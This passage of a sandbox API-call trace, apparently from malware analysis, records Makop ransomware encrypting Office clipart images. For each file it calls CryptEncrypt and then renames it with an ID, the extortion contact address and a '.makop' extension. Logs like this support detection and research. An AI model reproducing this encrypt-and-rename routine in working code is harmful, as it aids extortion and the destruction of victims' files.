CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6090, dwBufLen=0x6090 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6090) returned 1 [0146.905] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.905] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6090, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6090, lpOverlapped=0x0) returned 1 [0146.906] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.906] SetEndOfFile (hFile=0xf0) returned 1 [0146.926] GetProcessHeap () returned 0x48a0000 [0146.926] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.926] GetProcessHeap () returned 0x48a0000 [0146.927] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.927] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.929] CloseHandle (hObject=0xf0) returned 1 [0146.929] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca7e100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ca7e100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02748U.BMP", cAlternateFileName="")) returned 1 [0146.929] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 63 [0146.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.930] GetProcessHeap () returned 0x48a0000 [0146.930] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.930] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.930] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.931] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.931] GetProcessHeap () returned 0x48a0000 [0146.931] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.931] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.931] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.931] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.936] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.936] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.936] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.937] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.937] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7e90, lpOverlapped=0x0) returned 1 [0146.941] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e90) returned 1 [0146.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7e90, lpOverlapped=0x0) returned 1 [0146.942] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.942] SetEndOfFile (hFile=0xf0) returned 1 [0146.950] GetProcessHeap () returned 0x48a0000 [0146.950] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.950] GetProcessHeap () returned 0x48a0000 [0146.950] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.950] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.952] CloseHandle (hObject=0xf0) returned 1 [0146.952] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d97700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3d97700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x8795, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02749G.GIF", cAlternateFileName="")) returned 1 [0146.953] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF") returned 63 [0146.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.954] GetProcessHeap () returned 0x48a0000 [0146.954] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.954] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0146.958] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.958] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.958] GetProcessHeap () returned 0x48a0000 [0146.958] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.958] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.958] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.958] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.959] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.959] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.959] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.960] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8795, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8795, lpOverlapped=0x0) returned 1 [0146.961] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x87a0, dwBufLen=0x87a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x87a0) returned 1 [0146.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.962] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x87a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x87a0, lpOverlapped=0x0) returned 1 [0146.962] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.962] SetEndOfFile (hFile=0xf0) returned 1 [0146.970] GetProcessHeap () returned 0x48a0000 [0146.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.970] GetProcessHeap () returned 0x48a0000 [0146.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.970] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.972] CloseHandle (hObject=0xf0) returned 1 [0146.972] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46018a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46018a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02749U.BMP", cAlternateFileName="")) returned 1 [0146.972] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 63 [0146.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.974] GetProcessHeap () returned 0x48a0000 [0146.974] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.974] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.974] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.974] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.979] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.979] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.979] GetProcessHeap () returned 0x48a0000 [0146.979] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.979] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.979] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.979] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.980] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.980] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.981] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.981] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.981] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.981] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8118, lpOverlapped=0x0) returned 1 [0146.983] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8120, dwBufLen=0x8120 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8120) returned 1 [0146.983] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8120, lpOverlapped=0x0) returned 1 [0146.984] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x81f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.984] SetEndOfFile (hFile=0xf0) returned 1 [0146.992] GetProcessHeap () returned 0x48a0000 [0146.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.992] GetProcessHeap () returned 0x48a0000 [0146.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.992] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.992] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.994] CloseHandle (hObject=0xf0) returned 1 [0146.994] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd045f000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd045f000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x64c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02750G.GIF", cAlternateFileName="")) returned 1 [0146.994] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 63 [0146.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.995] GetProcessHeap () returned 0x48a0000 [0146.995] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.995] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.996] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.996] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0147.001] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.001] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.001] GetProcessHeap () returned 0x48a0000 [0147.001] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.001] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.001] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.001] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.002] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.002] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.002] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.002] CryptSetKeyParam (hKey=0x48c7128, 